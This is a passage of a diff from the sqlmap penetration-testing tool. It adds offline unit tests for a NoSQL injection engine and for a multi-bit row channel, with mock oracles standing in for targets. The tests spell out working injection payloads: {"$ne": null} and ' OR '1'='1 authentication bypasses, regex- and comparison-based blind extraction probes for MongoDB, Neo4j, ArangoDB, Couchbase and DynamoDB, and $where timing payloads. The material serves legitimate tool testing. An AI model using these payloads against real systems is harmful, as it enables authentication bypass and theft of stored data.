    + """ + + self.assertEqual(multibit._identifiers(page), {}) + + def test_identifiers_find_repeated_row_forms(self): + # row identity hides in whatever markup the listing repeats: query strings, path segments, + # data attributes and hidden form fields all count - but only when the value VARIES + page = "".join( + "
    p%d" % (_, _, _) + + "" % _ + + "x
    " % _ + for _ in range(1, 6)) + "" + + found = multibit._identifiers(page) + + self.assertEqual(found.get("product"), set(range(1, 6))) + self.assertEqual(found.get("pid"), set(range(1, 6))) + self.assertEqual(found.get("product_id"), set(range(1, 6))) + self.assertEqual(found.get("sku"), set(range(1, 6))) + self.assertNotIn("add", found) # a single value is page furniture, not a row id + + def test_the_switch_takes_the_whole_table(self): + # the switch IS the permission, so discovery goes for the wide channel first - no question, + # whatever '--risk' says + secret = "the switch is the permission to widen" + value, _ = self._attempt(secret, len(secret)) + + self.assertEqual(value, secret) + self.assertEqual(list(kb.multibit.values())[0]["mode"], MULTIBIT_WIDEN) + + def _hint(self): + """hint() with everything it could say captured - a nudge is INFO, an unusable back-end a WARNING.""" + + said = [] + multibit.singleTimeWarnMessage = lambda message: said.append(message) + multibit.singleTimeLogMessage = lambda message, level=None, flag=None: said.append(message) + multibit.hint() + + return said + + def test_hint_costs_nothing_and_states_the_width(self): + # the nudge towards the switch is drawn from the page sqlmap already has, never from a probe + conf.multiBit = False # the nudge is for a run that did NOT ask for it + kb.originalPage = "".join("" % _ for _ in range(1, 13)) + + said = self._hint() + + self.assertEqual(len(said), 1) + self.assertIn("12 rows", said[0]) + self.assertIn("--multi-bit", said[0]) + + def test_hint_stays_quiet_on_a_page_that_renders_no_rows(self): + # the old trigger announced "the target lists rows" on the nav menu of a single-product DETAIL + # page and asked the user to accept risk 3; the nudge may only follow REPEATED CONTENT markup + conf.multiBit = False + kb.originalPage = ("" + "
    USDEUR
    " + "" + "

    Quantum USB Cable

    $9.99

    " + "
    ") + + self.assertEqual(self._hint(), []) + + def test_switch_on_an_unsupported_backend_says_so(self): + # the bit arithmetic exists for five back-ends; asking for the switch on any other one has to + # say why nothing happens instead of silently doing nothing + set_dbms(DBMS.FIREBIRD) + + said = self._hint() + + self.assertEqual(len(said), 1) + self.assertIn("not supported", said[0]) + + def test_hint_stays_quiet_when_an_inband_channel_is_available(self): + # UNION or error-based beats any row channel, so nudging towards this one would be noise + conf.multiBit = False + kb.originalPage = "".join("" % _ for _ in range(1, 13)) + kb.injection.data[PAYLOAD.TECHNIQUE.UNION] = {} + + self.assertEqual(self._hint(), []) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_nosql.py b/tests/test_nosql.py new file mode 100644 index 00000000000..deb842ce859 --- /dev/null +++ b/tests/test_nosql.py @@ -0,0 +1,957 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the NoSQL injection engine. Mock oracles stand in for the +HTTP/back-end layer so detection and blind extraction can be exercised without a live target, +covering each dialect: MongoDB/CouchDB operator injection, Elasticsearch/Solr query_string, +Neo4j Cypher and ArangoDB AQL string break-out. +""" + +import re +import time +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.nosql.inject as ni + +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _NOSQL_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + +SECRET = "S3cr3t_9" +MATCH = "Welcome user; rows: alpha, bravo, charlie" +NOMATCH = "Invalid credentials; no rows" + + +def _mongo(place, parameter, op, value, isArray=False): + if op == "$ne": + return MATCH + if op == "$in": + return NOMATCH + if op == "$regex": + try: + return MATCH if re.match(value, SECRET) is not None else NOMATCH + except re.error: + return "error: invalid regular expression" + return "" + + +def _es(place, parameter, value): + if value == "*": + return MATCH + if "AND NOT" in value: # Lucene (rand AND NOT rand) -> nothing + return NOMATCH + if value.startswith("(NOT ") and value.endswith(")"): # Lucene (NOT rand) -> everything + return MATCH + if value == ni.NOSQL_SENTINEL: + return NOMATCH + if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored + try: + return MATCH if re.match("^(?:%s)$" % value[1:-1], SECRET) is not None else NOMATCH + except re.error: + return "error: parse_exception" + return NOMATCH + + +class TestNoSqlMongo(unittest.TestCase): + def setUp(self): + self._orig = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._orig + + def test_detect(self): + self.assertTrue(ni._detectMongo("GET", "password")) + + def test_extract(self): + template = ni._fetch("GET", "password", "$ne", ni.NOSQL_SENTINEL) + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass) + self.assertEqual(value, SECRET) + + def test_extract_value_with_newline_not_truncated(self): + # Regression: the length probe once used '.{n,}', and PCRE '.' does not match '\n', so a + # value with an embedded newline made the $-anchored '^.{n,}$' probe fail for every n -> + # empty result (total data loss). The '(?s)' DOTALL fix counts the newline toward the length, + # so the recovered value is length-correct (the unreadable newline itself shows as '?', but + # extraction no longer collapses to ""). + secret = "ab\ncd" + + def mongo_nl(place, parameter, op, value, isArray=False): + if op == "$ne": + return MATCH + if op == "$in": + return NOMATCH + if op == "$regex": + try: + return MATCH if re.match(value, secret) is not None else NOMATCH + except re.error: + return "error" + return "" + + ni._fetch = mongo_nl + vector = ni._resolve("GET", "password", "password") + template = ni._fetch("GET", "password", "$ne", ni.NOSQL_SENTINEL) + value = ni._extract(template, vector.fetch, vector.lengthValue, vector.charValue, falseModel=vector.falseModel) + self.assertIsNotNone(value) + self.assertEqual(len(value), len(secret)) # honest length, not truncated / not empty + self.assertTrue(value.startswith("ab")) + + def test_not_injectable(self): + ni._fetch = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectMongo("GET", "password")) + + def test_resolve_vector_carries_false_model(self): + # the LIVE vector must carry a calibrated false model so extraction is dual-model, not one-sided + vector = ni._resolve("GET", "password", "password") + self.assertIsNotNone(vector) + self.assertEqual(vector.falseModel, NOMATCH) # $in[sentinel] no-match page + + def test_dual_model_extraction_and_unrelated_page_inconclusive(self): + template = MATCH + falseModel = NOMATCH + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass, + falseModel=falseModel) + self.assertEqual(value, SECRET) + # an unrelated usable page (neither true nor false model) must be inconclusive, not a false bit + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated captcha page", "A", MATCH, NOMATCH) + + +class TestNoSqlElasticsearch(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _es + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectES("GET", "q")) + + def test_extract(self): + template = ni._fetchValue("GET", "q", "*") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "q", v), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (ni._lucene(known), klass)) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetchValue = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectES("GET", "q")) + + +def _cypher(place, parameter, value): + m = re.search(r"STARTS WITH '([^']*)'", value) # Cypher-only prefix predicate on 'ab' + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator + if m: + try: + return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH + return NOMATCH + + +class TestNoSqlCypher(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _cypher + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectCypher("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' OR '1'='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' OR u.password =~ '^.{%d,}" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' OR u.password =~ '^%s%s.*" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _aql(place, parameter, value): + m = re.search(r"=~ '(\^[^']*)'", value) # the regex body inside =~ '...' + if m: + try: # ArangoDB =~ is a partial (unanchored) match + return MATCH if re.search(m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'=='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlArango(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _aql + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectAQL("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' || '1'=='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' || (u.password =~ '^.{%d,}') || '1'=='2" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' || (u.password =~ '^%s%s') || '1'=='2" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _n1ql(place, parameter, value): + m = re.search(r"REGEXP_CONTAINS\([^,]+, '([^']*)'\)", value) + if m: + try: # model the single-quoted string layer (collapse the doubled backslashes) + return MATCH if re.search(m.group(1).replace("\\\\", "\\"), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "=~" in value: # N1QL has no =~ operator -> engine error + return "error: syntax error near '=~'" + if "'1'='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlN1QL(unittest.TestCase): + """Couchbase N1QL shares the ' OR '1'='1 break-out with Neo4j; _resolve() must disambiguate by the + regexp-match primitive (=~ fails, REGEXP_CONTAINS works) and still extract""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" # keep MongoDB operator detection out of the way + ni._fetchValue = _n1ql + ni.conf.parameters = {"GET": "name=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_disambiguates_couchbase(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "Couchbase") + self.assertEqual(vector.bypass, "' OR '1'='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +def _whereTruth(payload): + # emulate the $where timing oracle: a payload "delays" (=> True) iff its embedded JS condition holds + m = re.search(r"length>=(\d+)", payload) + if m: + return len(SECRET) >= int(m.group(1)) + m = re.search(r"/\^([^/]*)/\.test", payload) + if m: + return re.search("^" + m.group(1), SECRET) is not None + return False + + +class TestNoSqlWhere(unittest.TestCase): + """MongoDB $where time-based: validates the server-side-JS payload shapes and the time-based + extraction loop (timing predicate emulated deterministically)""" + + def setUp(self): + ni.conf.timeSec = 5 + + def test_extract(self): + key = "password" + lengthValue = lambda n: ni._whereDelay("d.%s&&d.%s.length>=%d" % (key, key, n)) + charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) + self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + + def test_where_delay_is_dos_bounded(self): + # the per-document busy-loop must be capped to ONE document per query (shared-scope counter), + # so a loose/unconditional condition on a large collection cannot block for docCount*timeSec. + # The condition and delay budget must still be embedded verbatim (oracle unchanged). + payload = ni._whereDelay("true") + self.assertIn("__c", payload) # shared-scope counter present + self.assertIn("__c<1", payload) # loop gated on the one-shot cap + self.assertIn("(true)", payload) # original condition preserved + self.assertIn(str(int(ni.conf.timeSec * 1000)), payload) # delay budget preserved + + +def _jswhere(place, parameter, value): + # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint + if " OR " in value or " =~ " in value: # not valid JS -> consistent (non-diverging) error + return "" + m = re.search(r"/(.)/\.test\('x'\)", value) # JS regexp-test disambiguation probe + if m: + return MATCH if re.search(m.group(1), "x") is not None else NOMATCH + m = re.search(r"/\^([^/]*)/\.test\(this\.password\)", value) # value extraction + if m: + try: + return MATCH if re.search("^" + m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + m = re.search(r"length>=(\d+)", value) # length search + if m: + return MATCH if len(SECRET) >= int(m.group(1)) else NOMATCH + if "'1'=='1" in value or "this.password)" in value: # boolean detection / bound always-true template + return MATCH + return NOMATCH + + +class TestNoSqlWhereContent(unittest.TestCase): + """Content-bearing MongoDB $where shares the ' || '1'=='1 break-out with ArangoDB; _resolve() must + disambiguate (AQL '=~' fails, a JS /re/.test() holds) and extract via the content oracle""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _jswhere + ni.conf.parameters = {"GET": "username=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_where_content(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB ($where)") + self.assertEqual(vector.bypass, "' || '1'=='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +class TestNoSqlWhereDump(unittest.TestCase): + """$where whole-document dump: Object.keys(this) enumeration drives name + value recovery for every + field (per-field char recovery itself is covered by TestNoSqlWhere)""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._orig = ni._whereField + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, bound, expr, threshold, strict=False): + m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"d\['([^']*)'\]", expr) + if m: + return values.get(m.group(1)) + return None + + ni._whereField = fake + + def tearDown(self): + ni._whereField = self._orig + + def test_dump(self): + columns, rows, bound, complete = ni._whereDump("GET", "password", "", 0) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_empty_document(self): + ni._whereField = lambda *args, **kwargs: None + self.assertIsNone(ni._whereDump("GET", "password", "", 0)) + + +class TestNoSqlRecordBinding(unittest.TestCase): + """A whole-document dump must be flagged bound only when a unique-record constraint pins it; an + unbound dump (no distinguishing sibling) is representative, not one coherent document.""" + + def test_vector_bound_defaults_true(self): + self.assertTrue(ni.Vector("X", None, None, None).bound) + self.assertFalse(ni.Vector("X", None, None, None, bound=False).bound) + + def test_where_vector_unbound_without_sibling(self): + # single injected param, no sibling -> _constraint is "" -> $where dump is representative + ni.conf.parameters = {ni.PLACE.GET: "name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + self.assertEqual(ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d."), "") + + def test_where_vector_bound_with_sibling(self): + # a distinguishing sibling pins the record -> bound constraint is non-empty + ni.conf.parameters = {ni.PLACE.GET: "id=7&name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + bound = ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d.") + self.assertIn("d.id=='7'", bound) + self.assertTrue(bool(bound)) + + +class TestNoSqlTriStateOracle(unittest.TestCase): + """A failed/blocked NoSQL response is UNKNOWN, retried, then aborts - never a silent false bit.""" + + def test_content_bit_retries_transient_then_recovers(self): + state = {"n": 0} + def fetch(value): + state["n"] += 1 + return None if state["n"] == 1 else "TEMPLATE" # first send fails, retry recovers + self.assertTrue(ni._contentBit(fetch, "A", "TEMPLATE")) + + def test_content_bit_persistent_failure_raises(self): + self.assertRaises(ni.InconclusiveError, ni._contentBit, lambda v: None, "A", "TEMPLATE") + + def test_content_bit_error_page_is_not_true(self): + # an error page is unusable -> retried -> InconclusiveError, never classified true/false + self.assertRaises(ni.InconclusiveError, ni._contentBit, + lambda v: "MongoServerError: unknown operator: $foo", "A", "TEMPLATE") + + def test_extract_aborts_value_on_inconclusive(self): + # a persistently failing oracle aborts the value (None), never fabricates a length/char + self.assertIsNone(ni._extract("TMPL", lambda v: None, + lambda n: "len>=%d" % n, lambda k, c: "char", truthFn=None)) + + def test_timed_bit_rejects_blocked_slow_response(self): + # a slow response that is BLOCKED (WAF/5xx) must not count as a true timing bit + self._fv = ni._fetchValue + try: + ni._lastCode = 429 + ni._fetchValue = lambda *a, **k: (time.sleep(0.01) or "") # slow but blocked (_isError via 429) + self.assertRaises(ni.InconclusiveError, ni._timedBit, "GET", "q", "payload", 0.0) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + def test_content_bit_unrelated_page_is_inconclusive_not_false(self): + # P0-2: a usable page matching NEITHER the true nor the false model is UNKNOWN, not false - + # with both models supplied it must abort (InconclusiveError), never silently return False + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated soft-WAF page", "A", "AAAAA", "BBBBB") + + def test_content_bit_both_models_classify_true_and_false(self): + self.assertTrue(ni._contentBit(lambda v: "AAAAA", "A", "AAAAA", "BBBBB")) + self.assertFalse(ni._contentBit(lambda v: "BBBBB", "A", "AAAAA", "BBBBB")) + + def test_detect_where_rejects_blocked_slow_responses(self): + # P0-2: delayed BLOCKED responses (zero usable) must NOT establish a $where timing threshold + self._fv = ni._fetchValue + try: + ni.conf.timeSec = 5 + ni.conf.parameters = {ni.PLACE.GET: "q=1"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "1"}} + ni._lastCode = 503 + ni._fetchValue = lambda *a, **k: (time.sleep(0.02) or None) # slow AND blocked/failed + self.assertIsNone(ni._detectWhere("GET", "q")) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + +class TestNoSqlEnumDump(unittest.TestCase): + """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._ef, self._fv = ni._enumField, ni._fetchValue + # true (any-match '.*') vs false (never-match sentinel) template must be SEPARABLE so _enumDump + # can calibrate both models; a constant page would (correctly) disable the dump + ni._fetchValue = lambda place, parameter, value: (NOMATCH if ni.NOSQL_SENTINEL in value else MATCH) + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, template, payloadFor, strict=False, falseModel=None): + probe = payloadFor("X") # render to inspect the target expression + m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"u\['([^']*)'\]", probe) # toString/TO_STRING/TOSTRING(u['name']) + if m: + return values.get(m.group(1)) + return None + + ni._enumField = fake + + def tearDown(self): + ni._enumField, ni._fetchValue = self._ef, self._fv + + def _check(self, keysExpr, valueExpr): + makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) + columns, rows, bound, complete = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + # a constraint-only enum dump is NOT proven single-record -> the dump reports itself unbound + self.assertFalse(bound) + + def test_cypher(self): + self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) + + def test_aql(self): + self._check(lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % ni._propLiteral(n)) + + def test_n1ql(self): + self._check(lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % ni._propLiteral(n)) + + +class TestNoSqlBypass(unittest.TestCase): + """Confirmed injection must surface the always-true (authentication/filter bypass) payload""" + + def setUp(self): + self._f = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._f + + def test_mongo_bypass(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB") + self.assertEqual(vector.bypass, '{"$ne": null}') + + +class TestNoSqlInband(unittest.TestCase): + """In-band exposure gate: _inband() returns the always-true response only when it carries + materially more reflected content than the original request""" + + def setUp(self): + self._fv = ni._fetchValue + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_exposure_detected(self): + ni._fetchValue = lambda place, parameter, value: "
    1luther
    " # original (one row) + template = "
    1luther
    2fluffy
    3wu
    " + self.assertEqual(ni._inband("GET", "id", template), template) + + def test_no_exposure_when_not_larger(self): + ni._fetchValue = lambda place, parameter, value: "X" * 200 # original (large) + self.assertIsNone(ni._inband("GET", "id", "Welcome")) # always-true smaller -> no dump + + +class TestNoSqlRecords(unittest.TestCase): + """Reflected responses are parsed into (columns, rows) for a regular table dump""" + + def test_html_table_without_header(self): + page = ("Results:" + "" + "
    1lutherblisset
    2fluffybunny
    ") + columns, rows = ni._records(page) + self.assertEqual(columns, ["column_1", "column_2", "column_3"]) + self.assertEqual(rows, [["1", "luther", "blisset"], ["2", "fluffy", "bunny"]]) + + def test_html_table_with_header(self): + page = "
    iduser
    1luther
    " + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "user"]) + self.assertEqual(rows, [["1", "luther"]]) + + def test_json_array_of_objects(self): + page = '{"results": [{"id": 1, "username": "luther", "password": null}, {"id": 2, "username": "fluffy"}]}' + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "username", "password"]) + self.assertEqual(rows, [["1", "luther", "NULL"], ["2", "fluffy", ""]]) + + def test_unstructured_returns_none(self): + self.assertIsNone(ni._records("just some prose, no records here")) + + +def _numeric(place, parameter, value): + # numeric-context Neo4j: 'OR 1=1' is always-true (rows), 'AND 1=2' is false, PLUS the Cypher-only + # STARTS WITH prefix predicate the detector now requires to attribute Neo4j (vs plain SQL) + m = re.search(r"STARTS WITH '([^']*)'", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumeric(unittest.TestCase): + """Numeric-context (unquoted) break-out, e.g. 'WHERE id = ': detected via OR/AND, with the + always-true response carried as the in-band dump template""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numeric + ni.conf.parameters = {"GET": "id=1"} + ni.conf.paramDict = {"GET": {"id": "1"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric(self): + vector = ni._resolve("GET", "id", "id") + self.assertEqual(vector.dbms, "Neo4j") + self.assertEqual(vector.bypass, "1 OR 1=1") + self.assertIsNone(vector.lengthValue) # numeric field -> in-band only, no blind extraction + + def test_skips_non_numeric(self): + ni.conf.parameters = {"GET": "name=luther"} + self.assertIsNone(ni._detectNumeric("GET", "name")) # only applies to a numeric field value + + +def _numericN1ql(place, parameter, value): + # numeric-context Couchbase: OR/AND boolean plus the N1QL-only REGEXP_CONTAINS discriminator + m = re.search(r"REGEXP_CONTAINS\('ab', '([^']*)'\)", value) + if m: + return MATCH if re.search(m.group(1), "ab") is not None else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericN1QL(unittest.TestCase): + """A numeric Couchbase point is disambiguated from Neo4j by the N1QL-only REGEXP_CONTAINS probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericN1ql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_couchbase(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "Couchbase") + self.assertEqual(bypass, "1 OR 1=1") + + +def _numericAql(place, parameter, value): + # numeric-context ArangoDB: the ||/&& family diverges, PLUS the AQL-only two-arg LIKE(text, search) + # function the detector now requires to attribute ArangoDB (SQL's LIKE is an operator, not a function) + m = re.search(r"LIKE\('ab', '([^%]*)%'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + return MATCH if "|| 1==1" in value else NOMATCH + + +class TestNoSqlNumericAQL(unittest.TestCase): + """A numeric ArangoDB point is detected via the ||/&& family once OR/AND yields no divergence""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericAql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_arango(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "ArangoDB") + self.assertEqual(bypass, "1 || 1==1") + + +def _partiql(place, parameter, value): + # DynamoDB PartiQL string-context oracle: 'field >= prefix' matches the bound record iff + # SECRET >= prefix (ordered comparison, the basis of the comparison-bisection extraction); + # 'begins_with(field, prefix)' matches iff SECRET starts with prefix + m = re.search(r">= '(.*)$", value) + if m: + return MATCH if SECRET >= m.group(1).replace("''", "'") else NOMATCH + m = re.search(r"begins_with\([^,]+, '(.*?)'\) OR '1'='2", value) + if m: + return MATCH if SECRET.startswith(m.group(1)) else NOMATCH + return NOMATCH + + +class TestNoSqlPartiQL(unittest.TestCase): + """DynamoDB PartiQL: no regexp engine, so a value is recovered by ordered string comparison + (field >= 'prefix') bisected over the printable-ASCII range""" + + def setUp(self): + self._fv = ni._fetchValue + ni._fetchValue = _partiql + ni.conf.parameters = {"GET": "username=luther&password=x"} + ni.conf.paramDict = {"GET": {"password": "x"}} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_extract(self): + value = ni._partiqlValue("GET", "password", "", "password") + self.assertEqual(value, SECRET) + + def test_dump_binds_sibling(self): + columns, rows, bound, complete = ni._partiqlDump("GET", "password", "password") + self.assertEqual(columns, ["password"]) + self.assertEqual(rows, [[SECRET]]) + + def test_dump_without_sibling_returns_none(self): + ni.conf.parameters = {"GET": "password=x"} # no sibling to pin a single record + ni.conf.paramDict = {"GET": {"password": "x"}} + self.assertIsNone(ni._partiqlDump("GET", "password", "password")) + + +def _numericDdb(place, parameter, value): + # numeric-context DynamoDB: OR/AND boolean plus the PartiQL-only begins_with discriminator + m = re.search(r"begins_with\('ab', '([^']*)'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericDynamoDB(unittest.TestCase): + """A numeric DynamoDB point is disambiguated from Neo4j/Couchbase by the PartiQL-only begins_with probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericDdb + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_dynamodb(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "DynamoDB") + self.assertEqual(bypass, "1 OR 1=1") + + +class TestNoSqlCookiePlace(unittest.TestCase): + """Cookie place: parameters split/join on ';' (not '&') and the segment routes to the Cookie header""" + + def setUp(self): + ni.conf.cookieDel = None + ni.conf.parameters = {ni.PLACE.COOKIE: "session=abc; username=luther; password=x"} + ni.conf.paramDict = {ni.PLACE.COOKIE: {"password": "x"}} + + def test_delimiter(self): + self.assertEqual(ni._delim(ni.PLACE.COOKIE), ";") + self.assertEqual(ni._delim(ni.PLACE.GET), "&") + + def test_original_value(self): + self.assertEqual(ni._originalValue(ni.PLACE.COOKIE, "username").strip(), "luther") + + def test_replace_segment(self): + out = ni._replaceSegment(ni.PLACE.COOKIE, "password", "password[$ne]=zzz") + self.assertIn("session=abc", out) + self.assertIn("username=luther", out) + self.assertIn("password[$ne]=zzz", out) + self.assertEqual(out.count(";"), 2) # 3 segments -> 2 delimiters (no '&') + self.assertNotIn("&", out) + + def test_constraint_binds_siblings(self): + constraint = ni._constraint(ni.PLACE.COOKIE, "password") + self.assertIn("u.session='abc'", constraint) + self.assertIn("u.username='luther'", constraint) + + def test_constraint_escapes_literal_and_skips_non_identifiers(self): + # a quote/backslash in a sibling value must be escaped (not break out of the string literal), + # and a non-identifier field name must be skipped rather than alter the predicate structure + ni.conf.parameters = {ni.PLACE.GET: "q=x&name=o'brien&weird.field=v&password=p"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "x"}} + constraint = ni._constraint(ni.PLACE.GET, "q") + self.assertIn("u.name='o\\'brien'", constraint) # single quote escaped + self.assertNotIn("weird.field", constraint) # dotted (non-identifier) name skipped + self.assertIn("u.password='p'", constraint) + + +class TestNoSqlJsonRawReplace(unittest.TestCase): + """Parse-failure JSON fallback: mutate ONLY the target key's value span in a JSON-like body, never + reconstruct it with a form serializer (which would produce unrelated 'name=value&...' content).""" + + def test_double_quoted_value_replaced_in_place(self): + body = '{"name": "luther", "role": "user"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"name": {"$ne": null}, "role": "user"}') + self.assertIn('"role": "user"', 